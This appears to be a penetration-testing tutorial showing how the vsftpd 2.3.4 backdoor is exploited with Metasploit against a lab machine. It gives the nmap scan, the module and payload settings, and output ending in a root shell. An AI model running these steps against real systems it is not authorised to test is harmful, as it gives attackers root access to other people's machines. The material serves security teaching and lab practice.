

VSFTPD Exploitation

VSFTPD is an FTP server that it can be found in unix operating systems like Ubuntu, CentOS, Fedora and Slackware. By default this service is secure however a major incident happened in July 2011 when someone replaced the original version with a version that contained a backdoor. The backdoor exists in the version 2.3.4 of VSFTPD and it can be exploited through metasploit.

So let's assume that we have scanned a host and we have discovered the version 2.3.4 of VSFTPD running on the system.

```
root@encode:~# nmap -sV 172.16.212.133

Starting Nmap 6.01 ( http://nmap.org ) at 2012-11-07 10:24 GMT
Nmap scan report for 172.16.212.133
Host is up (0.00058s latency).
Not shown: 977 closed ports
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind (rpcbind V2) 2 (rpc #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rexecd
```

Discovering The VSFTPD Service

We can open the metasploit framework in order to search for the vsftpd module.

```
msf > search vsftpd
[-] Warning: database not connected or cache not built, falling back to slow search

Matching Modules
=====

```

Name	Disclosure Date	Rank	Description
exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	VSFTPD v2.3.4 Backdoor

```
Command Execution

msf > 
```

Searching for the vsftpd module

As we can see there is only one module that we can use. So we will start the configuring the module appropriately. In the next screenshot you can see the configurations that we need to do in this exploit in order to be executed successfully.

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > set RHOST 172.16.212.133
RHOST => 172.16.212.133
msf exploit(vsftpd_234_backdoor) > set payload cmd/unix/interact
payload => cmd/unix/interact
msf exploit(vsftpd_234_backdoor) > exploit
```

Configuring the vsftpd exploit

We will execute the module with the exploit command and we will notice that it will return a shell to us with root privileges.

```
msf exploit(vsftpd_234_backdoor) > exploit

[*] The port used by the backdoor bind listener is already open
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.16.212.1:34499 -> 172.16.212.133:6200) at 2012-11-07
11:44:28 +0000

whoami
root
```

vsftpd exploitation

Conclusion

This version of course has become obsolete so don't expect to discover it in real world systems. However if you want to play with this vulnerable service you can find it in the metasploitable 2 virtual machine.